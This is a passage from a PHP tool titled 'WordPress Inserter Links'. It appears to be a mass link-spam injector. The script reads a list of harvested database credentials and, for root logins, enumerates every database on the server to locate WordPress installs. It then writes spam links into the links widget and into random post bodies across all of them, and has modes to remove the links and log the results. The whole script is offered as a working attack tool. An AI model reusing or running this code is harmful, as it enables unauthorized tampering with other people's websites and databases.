data_seek($row);
$datarow = $res->fetch_array();
return $datarow[$field];
}
}
@set_time_limit( 0 ); @ini_set( 'max_execution_time', 0 );
function set_result( $arr, $trace = false ) {
global $logg;
$str = "{host}:{user}:{pass}:{base}:{pref}";
if( $trace ) {
$str .= ":TRACE:{mesg}";
} else {
if( isset( $arr[ "{mesg}" ] ) ) $str .= ":ERR:{mesg}"; else $str .= ":OK:{link}:{site}";
}
@fwrite( $logg, strtr( $str . "\n", $arr ) );
}
function handleFatalPhpError() {
$last_error = error_get_last();
if( $last_error ) set_result( array(), "[" . join( '][', $last_error ) . "]" );
}
function sql_select( $sql, &$arr, $con, $var = "last" ) {
$res = mysqli_query( $con , strtr( $sql, $arr ));
if( $res !== false && mysqli_num_rows( $res ) ) {
$arr[ "{{$var}}" ] = mysqli_result( $res, 0 ); return true;
} $arr[ "{mesg}" ] = mysqli_error( $con ); set_result( $arr ); return false;
}
function sql_execute( $sql, &$arr, $con, $var = "last" ) {
$res = mysqli_query( $con , strtr( $sql, $arr )); if( $res !== false ) {
$arr[ "{{$var}}" ] = ((is_null($___mysqli_res = mysqli_insert_id( $con ))) ? false : $___mysqli_res) ?
((is_null($___mysqli_res = mysqli_insert_id( $con ))) ? false : $___mysqli_res) : mysqli_affected_rows( $con ); return true;
} $arr[ "{mesg}" ] = mysqli_error( $con ); set_result( $arr ); return false;
}
function get_array( $line ) {
$re = '/^(.*?):(.*?):(.*):(.*?):(.*?):(ERR|OK|TRACE):(.*)$/';
if( strpos($line, ':OK:') === false &&
strpos($line, ':ERR:') === false &&
strpos($line, ':TRACE:') === false ) {
$re = '/^(.*?):(.*?):(.*):(.*?):(.*?)$/';
}
preg_match_all($re, trim( $line ), $matches, PREG_SET_ORDER);
$res = array( ); @list( $_, $res[ "{host}" ], $res[ "{user}" ],
$res[ "{pass}" ], $res[ "{base}" ], $res[ "{pref}" ], $res[ "{stat}" ],
$res[ "{mesg}" ] ) = $matches[0]; return $res;
}
function get_pass_data($pass_fn) {
$pass_data = array();
foreach (file($pass_fn) as $line) {
$arr = get_array($line);
set_result($arr, "[" . implode("][", $arr) . "]");
if ($arr["{user}"] == "root") {
$conn = @($GLOBALS["___mysqli_ston"] = mysqli_connect($arr["{host}"], $arr["{user}"], $arr["{pass}"]));
if (!$conn) {
$arr["{mesg}"] = mysqli_error( );
set_result( $arr );
continue;
}
$res = @mysqli_query( $conn, "SHOW DATABASES");
while ($db = @mysqli_fetch_assoc($res)) {
$db_name = $db['Database'];
$db_res = @mysqli_query($GLOBALS["___mysqli_ston"], "SHOW TABLES FROM $db_name");
while ($tbl = @mysqli_fetch_array($db_res)) {
if ($tbl[0] == $arr["{pref}"]."posts") {
$arr["{base}"] = $db_name;
$pass_data[] = $arr;
break;
}
}
}
((is_null($___mysqli_res = mysqli_close($conn))) ? false : $___mysqli_res);
} else {
$pass_data[] = $arr;
}
}
return $pass_data;
}
if( !isset( $_GET[ "do" ] ) ) switch( @$_GET[ "load" ] ) {
case "txt": readfile( $pass ); exit;
case "src": show_source( __FILE__ ); exit;
case "log":
echo "Result: {$edit}
hostname | login | password | database | prefix |
status | message |
";
if( is_file( $edit ) ) foreach( file( $edit ) as $line ) {
$arr = get_array( $line );
echo strtr( "{host} | {user} | {pass} |
{base} | {pref} | {stat} | {mesg} |
", $arr );
}
echo "
";
exit;
case "pst":
echo "Result: {$post}
url | status |
";
if( is_file( $post ) ) foreach( file( $post ) as $line ) {
$arr = get_array( $line );
if( $arr[ "{stat}" ] == "OK" ) {
list( $stat, $link ) = explode( ":", $arr[ "{mesg}" ], 2 );
echo "$link | $stat |
";
}
}
echo "
";
exit;
default:
?>
WordPress Inserter Links
(.*)<\//" , trim( $lnk ), $tmp );
$url[ ] = "link_url like '%" . parse_url( $tmp[ 1 ][ 0 ], PHP_URL_HOST ). "%'";
$uri[ ] = parse_url( $tmp[ 1 ][ 0 ], PHP_URL_HOST );
$qlnk[ ] = array( $tmp[ 1 ][ 0 ], $tmp[ 2 ][ 0 ], trim( $lnk ) );
}
$uri = array_unique( $uri ); $url = array_unique( $url ); $qur1 = implode( "OR ", $url );
$sql0 .= $qur1; $sql1 .= $qur1; $sql8 .= $qur1; $sql8 .= " )";
@ignore_user_abort( 1 );
if( $_GET[ "do" ] == "ins" ) {
$logg = fopen( $edit, "w" );
foreach (get_pass_data($pass) as $pass_data_arr) {
$arr = array( ); $arr = $pass_data_arr;
@list( $arr[ "{link}" ], $arr[ "{name}" ] ) = current( $qlnk ); $arr[ "{side}" ] = false;
$conn = @($GLOBALS["___mysqli_ston"] = mysqli_connect( $arr[ "{host}" ], $arr[ "{user}" ], $arr[ "{pass}" ] ));
if( !$conn ) { $arr[ "{mesg}" ] = mysqli_error( ); set_result( $arr ); continue; }
if( !mysqli_select_db( $conn , $arr[ "{base}" ]) ) {
$arr[ "{mesg}" ] = mysqli_error( $conn ); set_result( $arr ); continue;
}
if( !sql_select ( $sql2, $arr, $conn, "site" ) ) continue; // get siteurl
if( !sql_select ( $sql3, $arr, $conn, "last" ) ) continue; // get sidebars
$arr[ "{last}" ] = unserialize( $arr[ "{last}" ] );
foreach( $arr[ "{last}" ] as $key => $val )
if( is_array( $val ) && !strstr( $key, "inactive" ) )
foreach( $val as $itm ) if( strstr( $itm, "links" ) ) $arr[ "{side}" ] = true;
if( !$arr[ "{side}" ] ) {
$arr[ "{mesg}" ] = "widget:" . $arr[ "{site}" ]; set_result( $arr ); continue;
}
if( !sql_select ( $sql4, $arr, $conn, "term" ) ) continue; // get taxonomy
if( !sql_select ( $sql1, $arr, $conn, "last" ) ) continue; // get exist
if( $arr[ "{last}" ] > 0 ) { $arr[ "{link}" ] = "exist"; set_result( $arr ); continue; }
if( !sql_execute( $sql5, $arr, $conn, "item" ) ) continue; // inject link
if( !sql_execute( $sql6, $arr, $conn, "last" ) ) continue; // relationships
if( !sql_execute( $sql7, $arr, $conn, "last" ) ) continue; // update count
$arr[ "{link}" ] = "insert";
((is_null($___mysqli_res = mysqli_close( $conn ))) ? false : $___mysqli_res); set_result( $arr ); if( !next( $qlnk ) ) reset( $qlnk );
}
fclose( $logg ); print( "Succesful! Result look in log-file..." );
}
if( $_GET[ "do" ] == "del" ) {
foreach (get_pass_data($pass) as $pass_data_arr) {
$arr = array( ); $arr = $pass_data_arr;
$conn = @($GLOBALS["___mysqli_ston"] = mysqli_connect( $arr[ "{host}" ], $arr[ "{user}" ], $arr[ "{pass}" ] ));
if( $conn ) { if( mysqli_select_db( $conn , $arr[ "{base}" ]) ) {
sql_execute( $sql8, $arr, $conn, "last" ); sql_execute( $sql0, $arr, $conn, "last" );
sql_select ( $sql4, $arr, $conn, "term" ); sql_execute( $sql7, $arr, $conn, "last" );
} @((is_null($___mysqli_res = mysqli_close( $conn ))) ? false : $___mysqli_res); }
}
@unlink( $edit ); print( "Succesful! Links deleted..." );
}
if( $_GET[ "do" ] == "upd" ) {
$logg = fopen( $post, "w" );
$posts_num = $_GET['posts_num'];
foreach (get_pass_data($pass) as $pass_data_arr) {
$arr = array( ); $arr = $pass_data_arr;
$conn = @($GLOBALS["___mysqli_ston"] = mysqli_connect( $arr[ "{host}" ], $arr[ "{user}" ], $arr[ "{pass}" ] ));
if( !$conn ) { $arr[ "{mesg}" ] = mysqli_error( ); set_result( $arr ); continue; }
if( !mysqli_select_db( $conn , $arr[ "{base}" ]) ) {
$arr[ "{mesg}" ] = mysqli_error( $conn ); set_result( $arr ); continue;
}
if( !sql_select ( $sql2, $arr, $conn, "last" ) ) continue; // get siteurl
$posts_sql = $sql9 . " ORDER BY RAND() LIMIT $posts_num";
$site = $arr[ "{last}" ];
$res = mysqli_query( $conn , strtr( $posts_sql, $arr ));
if( !$res ) { $arr[ "{mesg}" ] = mysqli_error( $conn ); set_result( $arr ); continue; }
while( $row = mysqli_fetch_assoc( $res ) ) { $arr[ "{item}" ] = $row[ "ID" ];
$arr[ "{site}" ] = "{$site}/?p={$arr[ '{item}' ]}";
preg_match_all( "/.*?<\/a>/", $row[ "post_content" ], $tmp );
if( count( $tmp[ 0 ] ) > 0 ) {
$arr[ "{link}" ] = "already"; set_result( $arr ); continue;
}
$max = strlen( $row[ "post_content" ] ); $min = 0;
$txt = $row[ "post_content" ];
if( $max > mt_getrandmax( ) ) $max = mt_getrandmax( );
$rnd = mt_rand( $min, $max );
$pos = strpos( substr( $txt, $rnd ), "," ); $cur = current( $qlnk );
if( $pos === false ) $pos = $max; else $pos = $pos + $rnd;
$arr[ "{post}" ] = $pos; $arr[ "{link}" ] = trim( $cur[ 2 ] );
if( !sql_execute( $sq10, $arr, $conn, "last" ) ) continue;
$arr[ "{link}" ] = "insert"; set_result( $arr );
if( !next( $qlnk ) ) reset( $qlnk );
}
((is_null($___mysqli_res = mysqli_close( $conn ))) ? false : $___mysqli_res);
} fclose( $logg ); print( "Succesful! Result look in log-file..." );
}
if( $_GET[ "do" ] == "rem" ) {
foreach (get_pass_data($pass) as $pass_data_arr) {
$arr = array( ); $arr = $pass_data_arr;
$conn = @($GLOBALS["___mysqli_ston"] = mysqli_connect( $arr[ "{host}" ], $arr[ "{user}" ], $arr[ "{pass}" ] ));
if( $conn ) { if( mysqli_select_db( $conn , $arr[ "{base}" ]) ) { $res = mysqli_query( $conn , strtr( $sql9, $arr ));
if( $res ) { while( $row = mysqli_fetch_assoc( $res ) ) { $arr[ "{item}" ] = $row[ "ID" ];
preg_match_all( "/.*?<\/a>/", $row[ "post_content" ], $tmp );
if( count( $tmp[ 0 ] ) > 0 ) { $arr[ "{pos1}" ] = strpos( $row[ "post_content" ], $tmp[ 0 ][ 0 ] );
$arr[ "{pos2}" ] = $arr[ "{pos1}" ] + strlen( $tmp[ 0 ][ 0 ] ) + 1;
sql_execute( $sq11, $arr, $conn, "last" ); } } } } @((is_null($___mysqli_res = mysqli_close( $conn ))) ? false : $___mysqli_res); }
}
@unlink( $post );
print( "Succesful! Links in posts deleted..." );
}
?>